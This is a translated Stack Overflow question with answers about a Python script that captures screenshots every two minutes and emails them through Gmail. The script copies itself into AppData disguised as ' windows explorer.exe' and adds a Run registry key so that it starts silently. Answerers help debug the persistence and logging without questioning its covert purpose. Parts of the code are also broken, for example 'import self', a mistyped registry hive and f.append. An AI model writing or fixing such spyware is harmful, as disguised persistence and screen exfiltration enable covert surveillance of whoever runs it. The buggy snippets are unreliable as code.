【问题标题】:How add my python EXE file silently to Startup of windows如何将我的 python EXE 文件静默添加到 Windows 启动
【发布时间】:2020-09-10 18:32:35
【问题描述】:

我正在使用那个启动 regedit 代码(python 3)但不工作

启动代码:

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

完整代码在这里

我制作了一个 python 脚本,在特定时间间隔后发送屏幕截图。现在我想将持久性(程序在启动时启动)添加到该程序。我已将启动语句添加到我的程序中,但它不起作用。

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

    self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
    # Change this value to your liking
    time.sleep(120)

【问题讨论】:

  • 这是在 Windows、Linux 还是 macOS 上?
  • 这是在 Windows 上
  • 澄清一下,当你用python运行它时它工作正常,但是当你尝试在启动时自动运行它时它却无法工作?
  • 是的,当我使用 pyinstaller 将我的 python 脚本转换为 exe 时,它​​会运行但不会添加到启动注册表中

标签: python python-3.x python-requests subprocess


【解决方案1】:

您的become_persistent() 永远不会被调用。

你需要取消缩进这一行:

self.become_persistent()

【讨论】:

  • 当我使用 pyinstaller 将脚本转换为 EXE 时仍然无法正常工作。我只是在后台运行,但没有添加到启动注册表中
【解决方案2】:

你会试试这个代码吗?我修改了代码以将所有错误记录到文件中并将其放在您的桌面上。查看文件并告诉我您在 cmets 中看到的内容。一旦你回复我,我会更新这个答案以成为一个真正的答案

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

path = 'path2 = R"C:\Users\$USERNAME\Desktop\log.txt"'
full_path = os.path.expanduser(path)


def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
    self.become_persistent()


s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"

try:
    while True:
        snapshot = ImageGrab.grab()
        # Using png because it cannot write mode RGBA as JPEG
        file = "scr.png"
        snapshot.save(file)
        # Opening the image file and then attaching it
        with open(file, 'rb') as f:
            img = MIMEImage(f.read())
            img.add_header('Content-Disposition', 'attachment', filename=file)
            msg.attach(img)
        os.remove(file)
        s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
        # Change this value to your liking
        time.sleep(120)
except Exception as e:
    with open(full_path, 'a') as f:
        f.append(f"{type(e)}: {e}")

【讨论】:

  • 我的查询是 pyinstaller.exe emma.py --onefile --noconsole
  • 我的脚本运行良好,但没有添加到 reg 启动部分。你可以在这方面提供帮助
  • 我对 Windows 或启动注册不太了解。您能确认以下内容是否正确吗? 1. 当您使用 python 运行脚本时,该脚本可以正常工作, 2. 该脚本会截取您的显示屏幕截图,然后将其发送到您的电子邮件地址。 3. 当您尝试使其在重新启动计算机时自动启动时,该脚本将不起作用。如果这是正确的,我对问题所在有一个想法。我在制作与您类似的脚本时遇到了类似的问题。我在上面发布的脚本会将发生的任何错误记录到您桌面上的文件中。
【解决方案3】:

要将其添加到启动,您需要将exe文件的快捷方式添加到启动文件夹:

  • 在键盘上同时单击 Win+R
  • 键入 shell:startup
  • 将您的 python 文件拖放到打开的文件夹中。

或者您可以在代码中尝试此解决方案: https://stackoverflow.com/a/45617568/13156681

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2014-04-22
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-02-15
    • 1970-01-01
    • 2011-05-25
    相关资源
    最近更新 更多